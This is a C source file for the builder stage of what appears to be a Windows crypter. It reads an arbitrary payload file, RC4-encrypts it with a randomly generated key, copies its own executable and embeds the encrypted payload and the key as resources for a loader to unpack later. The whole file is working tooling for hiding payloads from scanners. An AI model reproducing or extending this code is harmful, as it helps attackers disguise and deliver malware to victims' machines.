#include <stdio.h>
#include <Windows.h>
#include <wincrypt.h>

#include "builder.h"
#include "helper.h"
#include "rc4.h"

#define RES_ID_PAYLOAD 42
#define RES_ID_KEY 43
#define KEY_SIZE 32

BOOL DuplicateFile(LPCSTR szNewFileName) {
	// Duplicate file on disk.
	CHAR szSelfName[MAX_PATH];
	ZeroMemory(szSelfName, sizeof(szSelfName));
	GetModuleFileName(NULL, szSelfName, sizeof(szSelfName));

	PRINT_INFO("Creating out file.\n");
	BOOL bRet = CopyFile(
		szSelfName,
		szNewFileName,
		FALSE
	);

	// If file already exists, prompt for overwrite.
	if (!bRet) {
		PRINT_WARNING(
			"The file \"%s\" already exists. "
			"Would you like to overwrite it? [Y/n]: ",
			szNewFileName
		);

		if (PromptYesNo()) {
			PRINT_INFO("Overwriting out file.\n");
			// Force overwrite.
			BOOL bRet = CopyFile(
				szSelfName,
				szNewFileName,
				FALSE
			);
		} else {
			PRINT_ERROR("You've selected to not overwrite.\n");
			return FALSE;
		}
	}

	return TRUE;
}

LPPAYLOAD ReadPayload(LPCSTR szPayloadPath) {
	PRINT_INFO("Opening payload file.\n");
	// Open the payload.
	HANDLE hFile = CreateFile(
		szPayloadPath,
		GENERIC_READ,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);

	if (GetLastError() == ERROR_FILE_NOT_FOUND) {
		PRINT_ERROR("Payload not found.\n");
		return NULL;
	}

	if (hFile == INVALID_HANDLE_VALUE) {
		PRINT_ERROR(
			"Failed to open payload: <0x%08x>\n",
			GetLastError()
		);
		return NULL;
	}

	PRINT_INFO("Retrieving payload size.\n");
	// Get payload size for heap buffer.
	DWORD dwFileSize = GetFileSize(hFile, NULL);
	if (dwFileSize == INVALID_FILE_SIZE) {
		PRINT_ERROR("The file is too big and not supported.\n");
		CloseHandle(hFile);
		return NULL;
	}

	PRINT_INFO("Creating payload data.\n");
	// Create the struct for the payload.
	LPPAYLOAD lpPayload = MyHeapAlloc(sizeof(PAYLOAD));
	if (!lpPayload) {
		PRINT_ERROR(
			"Failed to allocate payload structure: <0x%08x>\n", 
			GetLastError()
		);
		CloseHandle(hFile);
		return NULL;
	}

	// Allocate the payload buffer.
	lpPayload->lpPayload = MyHeapAlloc(dwFileSize);
	if (!lpPayload->lpPayload) {
		PRINT_ERROR(
			"Failed to allocate payload buffer: <0x%08x>\n", 
			GetLastError()
		);
		MyHeapFree(lpPayload);
		CloseHandle(hFile);
		return NULL;
	}
	// Set size accordingly.
	lpPayload->nSize = dwFileSize;

	PRINT_INFO("Reading payload.\n");
	// Read the payload.
	DWORD dwRead = 0;
	BOOL bRet = ReadFile(
		hFile, 
		lpPayload->lpPayload, 
		dwFileSize, 
		&dwRead, 
		NULL
	);

	if (!bRet) {
		PRINT_ERROR(
			"Failed to read payload: <0x%08x>\n", 
			GetLastError()
		);
		MyHeapFree(lpPayload->lpPayload);
		MyHeapFree(lpPayload);
		CloseHandle(hFile);
		return NULL;
	}

	PRINT_SUCCESS("Successfully obtained payload.\n");
	// Success.
	CloseHandle(hFile);

	return lpPayload;
}

void EncryptPayload(LPVOID lpPayload, SIZE_T nPayloadLength, LPBYTE lpKey, SIZE_T nKeyLength) {
	struct rc4_state s;
	rc4_setup(&s, lpKey, nKeyLength);

	rc4_crypt(&s, lpPayload, nPayloadLength);
}

BOOL AddResource(LPCSTR szFileName, LPVOID lpPayload, SIZE_T nPayloadSize, LPVOID lpKey, SIZE_T nKeySize) {
	PRINT_INFO("Preparing resource update.\n");
	// Initialise resource update.
	HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
	if (!hUpdate) {
		PRINT_ERROR(
			"Failed to begin updating resources: <0x%08x>\n", 
			GetLastError()
		);
		return FALSE;
	}

	PRINT_INFO("Integrating payload.\n");
	// Add the payload.
	BOOL bRet = UpdateResource(
		hUpdate,
		RT_RCDATA,
		MAKEINTRESOURCE(RES_ID_PAYLOAD),
		MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
		lpPayload,
		nPayloadSize
	);

	if (!bRet) {
		PRINT_ERROR(
			"Failed to update resource: <0x%08x>\n", 
			GetLastError()
		);
		EndUpdateResource(hUpdate, TRUE);
		return FALSE;
	}

	PRINT_INFO("Integrating key.\n");
	// Add the key.
	bRet = UpdateResource(
		hUpdate,
		RT_RCDATA,
		MAKEINTRESOURCE(RES_ID_KEY),
		MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
		lpKey,
		nKeySize
	);

	if (!bRet) {
		PRINT_ERROR(
			"Failed to update resource: <0x%08x>\n",
			GetLastError()
		);
		EndUpdateResource(hUpdate, TRUE);
		return FALSE;
	}

	PRINT_SUCCESS("Successfully added payload and key.\n");
	// Clean up.
	bRet = EndUpdateResource(hUpdate, FALSE);
	if (!bRet) {
		PRINT_WARNING(
			"Failed to end resource update: <0x%08x>\n",
			GetLastError()
		);
	}

	return TRUE;
}

BOOL BuildLoader(LPCSTR szNewFileName, LPCSTR szPayloadPath) {
	LPPAYLOAD lpPayload = ReadPayload(szPayloadPath);
	if (!lpPayload) {
		return FALSE;
	}

	PRINT_INFO("Generating cryptographic key.\n");
	// Generate key.
	BYTE bKey[KEY_SIZE];
	ZeroMemory(bKey, sizeof(bKey));

	HCRYPTPROV hProv = 0;
	if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0)) {
		if (GetLastError() == NTE_BAD_KEYSET) {
			if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET)) {
				PRINT_ERROR(
					"Failed to acquire crypt context: <0x%08x>\n",
					GetLastError()
				);
				return FALSE;
			}
		}
	}

	if (!CryptGenRandom(hProv, sizeof(bKey), bKey)) {
		PRINT_ERROR(
			"Failed to generate random key: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}
	CryptReleaseContext(hProv, 0);
	
	PRINT_INFO("Here is your key:\n");
	for (int i = 0; i < sizeof(bKey);) {
		for (int j = 0; j < 16; j++) {
			if (j == 8) {
				PrintColour(CONSOLE_PURPLE, "  ");
			}
			PrintColour(CONSOLE_PURPLE, "%02x ", bKey[i + j]);
		}
		puts("");
		i += 16;
	}

	PRINT_INFO("Encrypting payload.\n");
	EncryptPayload(
		lpPayload->lpPayload,
		lpPayload->nSize,
		bKey,
		sizeof(bKey)
	);

	if (!DuplicateFile(szNewFileName)) {
		return FALSE;
	}

	if (!AddResource(
		szNewFileName,
		lpPayload->lpPayload,
		lpPayload->nSize,
		bKey,
		sizeof(bKey))
	) {
		return FALSE;
	}

	// Remember to dealloc payload.
	MyHeapFree(lpPayload->lpPayload);
	MyHeapFree(lpPayload);

	return TRUE;
}